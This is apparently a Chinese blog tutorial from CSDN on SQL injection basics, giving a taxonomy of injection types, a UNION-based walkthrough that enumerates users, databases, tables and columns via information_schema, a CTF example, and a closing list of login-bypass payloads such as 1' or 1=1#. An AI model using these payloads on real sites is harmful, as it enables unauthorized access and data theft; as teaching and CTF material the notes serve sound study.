SQL注入基础

止kk

已于 2024-03-18 21:09:00 修改

阅读量943

点赞数 28

文章标签： sql web安全

于 2024-02-14 23:55:15 首次发布

本文链接：https://blog.csdn.net/2302_79359652/article/details/136117317

版权

1.概念

web应用程序对输入合法性没有判断或过滤不严，或将用户数据写入程序被执行，使攻击者可以通过在程序语句结尾添加SQL语句进行非法操作。

用户的恶意输入被带入程序后端数据库进行查询，导致数据泄露。

1.2危害

木马上传，udf（user defined function）提权(存在于’mysql/lib/plugin’目录下，文件后缀为’.dll’)，数据泄露

1.3过程

寻找注入点——构造注入语句，注入语句和程序中的语句结合成新的sql语句——新的sql语句被提交到数据库进行处理——数据库执行，引发sql注入攻击

1.4分类

1.4.1按注入点分类

数字型注入
字符型注入
搜索型注入

1.4.2按数据提交方式分类

get注入
post注入
http头部注入user-agent:判定用户使用的操作系统，以及使用的浏览器的版本 cookie:判定用户的身份，进行session跟踪可以存储在用户本地终端上的数据，简单理解为用户的一张身份辨别卡 x-forwarded-for:是用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段 client-ip: 数据库保存客户端IP的参数 rerferer:浏览器向web端表明自己从哪个连接而来 host:客户端指定自己想访问的WEB服务器的域名/IP 地址和端口号

1.4.3按执行效果分类

盲注
1. 布尔盲注
2. 时间盲注
3. dnslog盲注
报错注入
联合查询
堆叠注入
宽字节注入
二次注入

1.4.4按注入拼接位置分类

where注入
order by注入
limit注入
values注入

2.注入思路

 #1.判断数据库字段数目
 'order by ?
 
 #2.联合查询---接入1，2，3，4回显数据
 mysql> select * from stu union select 1,2,3,4;
 +----+---------+--------+------+
 | id | name    | gender | age  |
 +----+---------+--------+------+
 |  1 | chengke |      1 |   30 |
 |  1 | beijing |      1 |  200 |
 |  2 | guagnxi |      1 | 2300 |
 |  3 | nanjing |      1 |  500 |
 |  4 | henan   |      1 |  600 |
 |  1 | 2       |      3 |    4 |
 +----+---------+--------+------+
 6 rows in set (0.00 sec)
 
 #3.回显user--假设回显位置为2
 mysql> select * from stu union select 1,(select user()),3,4;
 
 #4.回显数据库
 mysql> select * from stu union select 1,(select database()),3,4;
 
 #5.回显版本号
 mysql> select * from stu union select 1,(select version()),3,4;
 
 #6.查询表名---(5.7出不来？)
 mysql> select * from stu union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='testdb'),3,4;
 
 #7.查询字段信息
 mysql> select * from stu union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='testdb' and table_name='stu'),3,4;
 
 #8.锁定目标信息
 select * from stu union select 1,(select group_concat(name,age) from stu),3,4;

做题步骤举例：

01：ctfshow web2 最简单的SQL注入

sql手工注入常用语句：

普通语句：schema_name——数据库名；table_name——表名；column_name——字段名；

查询数据库：select schema_name from information_schema.schemata#

　　　　　　select database()#

查询数据库表：select table_name from information_schema.tables where table_schema='数据库名'#

查询字段名：select column_name from infromation_schema.columns where table_name='表名'#

查询字段内容：select * from 表名#

万能密码的用户名和密码:

1' or 1=1#

admin or 1=1 或者1 or 1=1 or 1=1

user=‘=’，pass=‘=’

1' or 1=1# "or "a"="a ')or('a'='a or 1=1-- 'or 1=1-- a'or' 1=1-- "or 1=1-- 'or'a'='a "or"="a'='a 'or''=' 1'or'='or' 1 or '1'='1'=1 1 or '1'='1' or 1=1 'OR 1=1%00